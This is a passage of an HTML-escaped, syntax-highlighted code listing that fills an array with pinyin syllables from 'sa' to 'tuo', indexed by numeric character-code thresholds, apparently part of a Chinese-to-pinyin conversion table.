&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14092&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ruo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14090&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"sa"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14087&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"sai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14083&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"san"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13917&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"sang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13914&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"sao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13910&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"se"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13907&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"sen"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13906&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"seng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13905&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"sha"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13896&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13894&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13878&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13870&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13859&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"she"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13847&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shen"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13831&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"sheng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13658&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shi"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13611&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13601&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13406&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shua"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13404&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shuai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13400&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shuan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13398&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shuang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13395&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13391&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13387&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"shuo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13383&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"si"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13367&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"song"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13359&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"sou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13356&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"su"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13343&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"suan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13340&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"sui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13329&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"sun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13326&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"suo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13318&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ta"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13147&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13138&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13120&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13107&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13096&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"te"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13095&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"teng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13091&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ti"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13076&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tian"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13068&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tiao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13063&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tie"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;13060&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ting"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12888&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12875&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12871&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12860&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tuan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12858&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12852&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12849&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"tuo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
